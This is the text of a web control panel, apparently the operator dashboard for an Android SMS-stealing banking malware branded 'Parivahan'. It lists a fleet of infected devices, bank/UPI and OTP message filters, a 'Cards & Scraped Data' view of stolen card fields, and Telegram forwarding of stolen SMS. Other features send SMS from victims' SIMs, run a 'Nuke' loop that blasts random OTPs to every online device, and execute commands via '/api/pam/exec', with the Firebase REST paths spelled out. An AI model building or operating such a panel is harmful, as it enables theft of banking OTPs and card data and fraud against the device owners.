P
Parivahan
Fleet Control Panel
idle
Firebase REST
Database URL (no trailing slash). Uses
/clients.json?auth=API_KEY
· API key from Firebase console
API Key (?auth=API_KEY)
remember in localStorage
Save & Connect
Clear
Telegram Auth — Bot OTP
Sign in via Telegram OTP
Keep Firebase
?auth=API_KEY
unchanged — auth only for
/api/pam
& Nuke admin guard. Session
cyberzone_auth
5d.
not signed
Send OTP to Telegram
Bot sends OTP to your Telegram — start bot with
/start
first.
OTP sent to Telegram ID
Verify OTP & Sign in
Back
Refresh
Sign out
Session persists 5d via
localStorage cyberzone_auth
. Refresh keeps you signed in.
Views:
Devices
SMS All
OTPs
Firebases
Users
Telegram
Data/Cards
PAM
Live fleet
•
loading…
Devices
0
online
•
0
offline
•
0 shown
•
0 pinned
⌕
auto
3s
polling
Refresh now
All
Online
Offline
UPI
Bank SMS
All groups
Newest
Oldest
Name
Battery
Export SMS CSV
No devices match.
Send SMS (writes to Firebase)
Send via device(s)
Writes
clients/{id}/webhookEvent/sendSms {to,message,isSended:true,from}
SIM1 (0)
SIM2 (1)
Send via selected
Bulk online
Selected:
none
·
Nuke — mass random OTP loop
OTP 4
OTP 6
OTP 8
SIM1
SIM2
▶ Start Nuke
■ Stop
Loops
0
· Sent
0
· Failed
0
·
idle
Uses
setInterval
~900ms ±200ms jitter → all
online
devices. Stop is instant.
Messages
SMS per device
0
bank only
IN
incoming ·
OUT
outgoing · bank=amber · otp=purple
Device management
Save label & notes
Delete device
Add dummy device
Ping (checkLiveness)
Add/Edit/Delete via REST:
PUT /clients/{id}.json?auth=API_KEY
·
DELETE /clients/{id}.json?auth=API_KEY
·
PATCH /clients/{id}.json?auth=API_KEY
SMS All (messages.json)
All Messages (across devices)
bank only
Refresh
Export CSV
Fetched via
GET messages.json?auth=API_KEY
— flattened, latest 500
otps/latest
Latest OTPs
Refresh
Clear all (DELETE)
Path
otps/latest.json?auth=API_KEY
· also
otps/{tgId}.json?auth=API_KEY
config/firebases
Firebases (multi-DB)
Add
Refresh
Stored at
config/firebases.json?auth=API_KEY
— visible to all admins
subscriptions
Users / Subscriptions
Add/Update
Refresh
Paths
subscriptions/{id}.json?auth=API_KEY
·
config/admin.json?auth=API_KEY
Telegram — Personal
My Channels & Rules
Load my channels
My SMS Channel (config/userChannels/{id}/sms)
Save
Clear
Finance Alert Channel (config/userChannels/{id}/finance)
Save
Clear
Keyword Rules (config/userChannels/{id}/rules/{keyword})
Add
Telegram — Global (admin)
Global SMS Channel & Forward Defaults
Global SMS Channel (config/smsChannel)
Save
Clear
Forward Defaults (config/forwardDefaults) — auto for NEW devices
Save forwardDefaults
Refresh
PAM / Tool (via /api)
Run via /api/pam/exec
Status
Scraped / Cards
Cards & Scraped Data
Refresh
Filtered via
clients.json?auth=API_KEY
where
cc_* || cards
PAM
PAM Exec
Uses
/api/pam/*
on same origin — will use
cyberzone_auth
Bearer if logged in, else may 401.
Refresh PAM
Pure HTML/CSS/JS · no build · fetch REST + secret · setInterval polling · ponytail: minimal, no deps —
localStorage parivahan_pure_cfg + cache
Devices
SMS
OTPs
Users
TG
More